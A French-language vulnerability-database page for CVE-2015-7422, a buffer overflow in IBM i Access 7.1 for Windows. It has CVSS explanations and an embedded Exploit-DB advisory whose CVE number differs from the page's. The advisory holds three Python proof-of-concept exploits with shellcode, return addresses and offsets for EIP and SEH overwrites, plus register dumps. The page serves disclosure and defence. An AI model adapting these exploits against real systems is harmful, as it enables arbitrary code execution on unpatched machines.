CVE-2015-7422 : Détail

CVE-2015-7422

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2016-01-02
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2016-01-02
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Descriptions du CVE

Buffer overflow in IBM i Access 7.1 on Windows allows local users to cause a denial of service (application crash) via unspecified vectors.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 38751

Date de publication : 2015-11-17 23h00 +00:00
Auteur : hyp3rlinx
EDB Vérifié : No

[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt Vendor: ============== www.ibm.com Product: ==================================================== IBM i Access for Windows Release 7.1 of IBM i Access for Windows is affected Vulnerability Type: ======================= Stack Buffer Overflow Arbitrary Code Exec CVE Reference: ============== CVE-2015-2023 Vulnerability Details: ===================== IBM i Access for Windows is vulnerable to a buffer overflow. A local attacker could overflow a buffer and execute arbitrary code on the Windows PC. client Access has ability to receive remote commands via "Cwbrxd.exe" service Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253 "Incoming remote command was designed for running non-interactive commands and programs on a PC", therefore a remote attacker could execute arbitrary code on the system. Remediation/Fixes The issue can be fixed by obtaining and applying the Service Pack SI57907. The buffer overflow vulnerability can be remediated by applying Service Pack SI57907. The Service Pack is available at: http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html Workarounds and Mitigations None known CVSS Base Score: 4.4 CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the current score CVSS Environmental Score*: Undefined CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P) Exploit code(s): ============================================================================== Three python POC scriptz follow that exploitz various component of IBM i Access. 1) Exploits "ftdwprt.exe", direct EIP overwrite import struct,os,subprocess pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwprt.exe " #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") # use jmp or call esp in FTDBT.dll under AFPviewer for Client Access # we find ---> 0x638091df : jmp esp | {PAGE_EXECUTE_READ} [FTDBDT.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00 (C:\Program Files (x86)\IBM\Client Access\AFPViewr\FTDBDT.dll) rp=struct.pack('<L', 0x638091FB) payload="A" * 1043+rp+sc+"\x90"*20 subprocess.Popen([pgm, payload], shell=False) #<----1043 bytes outside of debugger use 1044 in debugger. ================================== 2) Exploits "ftdwinvw.exe", direct EIP overwrite import struct,os,subprocess pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwinvw.exe " #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") #payload="A"*1044+"RRRR"+"\x90"*10+"B"*100 #Test EIP rp=struct.pack('<L', 0x638091fb) #CALL ESP (0x638091fb) FTDBDT.dll payload="A"*1044+rp+"\x90"*10+sc #KABOOM!!! subprocess.Popen([pgm, payload], shell=False) registers dump... EAX 0000040B ECX 0044AAB8 ASCII "AAAAAAAAA... EDX 7F17E09F EBX 00000000 ESP 0018E5B8 EBP 41414141 ESI 005A9FB9 ASCII "AAAAAAAAA... EDI 0044E94C ftdwinvw.0044E94C EIP 52525252 <----------BOOM! C 0 ES 002B 32bit 0(FFFFFFFF) P 0 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 0 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G) ST0 empty g ST1 empty g ST2 empty g ST3 empty g ST4 empty g ST5 empty g ST6 empty g ST7 empty g 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 3) Exploits "PCSWS.exe", structured exeception handler (SEH) overwrite pgm="C:\\Program Files (x86)\\IBM\\Client Access\\Emulator\\pcsws.exe " #ctrl EIP at 1340 bytes, ESP points to RETURN to ntdll.770BB499 so we will jump 8 bytes to our SC #as ESP points to our SC 8 bytes after! jmp="\xEB\x06"+"\x90"*2 #payload="A"*1336+"BBBB" #Test #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") rp=struct.pack('<L', 0x678c1e49) #pop pop ret 0x67952486 PCSW32X.dll payload="A"*1332+jmp+rp+sc+"\x90"*10 #KABOOOOOOOOOOOOOOOOOOM! subprocess.Popen([pgm, payload], shell=False) register dump... 0018FF6C 41414141 AAAA 0018FF70 41414141 AAAA 0018FF74 41414141 AAAA 0018FF78 41414141 AAAA Pointer to next SEH record 0018FF7C 42424242 BBBB SE handler 0018FF80 004C0400 .L. pcsws.004C0400 Disclosure Timeline: ==================================== Vendor Notification: May 21, 2015 November 18, 2015 : Public Disclosure Exploitation Technique: ======================= Local / Remote Severity Level: ================ High Description: ================================================================================= Request Method(s): [+] local or remote commands via "Cwbrxd.exe" service Vulnerable Product: [+] IBM i Access for Windows Release 7.1 Affected Area(s): [+] OS [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx

Products Mentioned

Configuraton 0

Ibm>>I_access >> Version 7.1

Microsoft>>Windows >> Version *

Références

http://www-01.ibm.com/support/docview.wss?uid=swg1SI57907
Tags : vendor-advisory, x_refsource_AIXAPAR